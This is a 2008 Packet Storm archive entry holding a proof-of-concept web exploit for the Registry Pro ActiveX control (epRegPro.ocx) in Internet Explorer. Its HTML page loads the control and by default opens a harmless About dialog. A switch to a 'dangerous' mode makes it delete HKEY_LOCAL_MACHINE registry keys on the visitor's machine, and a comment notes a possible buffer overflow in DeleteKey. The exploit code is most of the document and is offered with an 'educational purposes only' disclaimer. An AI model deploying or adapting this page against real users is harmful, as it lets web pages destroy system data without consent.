registrypro-insecure.txt

2008-03-19T00:00:00
ID PACKETSTORM:64679
Type packetstorm
Reporter t0pp8uzz
Modified 2008-03-19T00:00:00

Description

                                        
                                            `<HTML>  
<!--  
  
- Registry Pro (epRegPro.ocx) Remote Insecure Exploit -  
  
Author: t0pP8uZz  
Homepage: h4ck-y0u.org / milw0rm.com  
Description: ActiveX Remote Insecure  
  
Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched  
  
ActiveX: http://www.evansprogramming.com/registry_pro.asp  
  
The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions.  
  
NOTE: the first parameter in the DeleteKey() function is vulnerble to BoF. And can possiblly overwrite the EIP  
  
InternetExplorer can Initialise this ActiveX control, And take advantage of its functions.  
Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions. the function being About()  
all this will do is lauch a friendly, harmless dialog box, therefore being the perfect POC.  
  
Also i added a peice of code that will delete specific REGKEYS or infact possible delete a whole subkey/branch. to use this code it has to be uncommented.  
  
- epRegPro.ocx -  
  
About Displays the Registry Pro About Dialog.  
CreateKey Creates a registry key.  
DeleteBranch Deletes a branch and all it’s child keys and values.  
DeleteKey Deletes one registry key.  
DeleteValue Deletes one registry value.  
EnumKeys Returns a collection containing all keys within a specified branch.  
EnumValues Returns a collection containing all values within a specified key.  
QueryType Returns a value type.  
QueryValue Returns a value.  
RenameKey Renames a key.  
SetValue Sets or creates a value.  
  
Peace.  
  
-->  
<OBJECT ID="RegPro" CLASSID="CLSID:D5C839EB-DA84-4F98-9D42-2074C2EE9EFC">Could Not Load ActiveX Control.</OBJECT>  
<script language="javascript">  
/* - Registry Pro (epRegPro.ocx) Remote Insecure Exploit - */  
/* Javascript Code By t0pP8uZz */  
  
var keyname = "Software/key"; // Registry key to delete  
  
Exploit("harmless"); // Change argument to "dangerous" to delete specified reg key.  
  
function Exploit(type) {  
  
switch(type) {   
  
case "harmless":  
default:  
RegPro.About(); // Simple Harmless POC  
break  
  
case "dangerous":  
RegPro.DeleteKey(80000002, keyname); // 80000002 HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER 80000001h UNCOMMENTING THIS LIKE WILL DELETE REGISTRY KEYS  
break  
}  
}  
  
</script>  
</HTML>  
  
  
`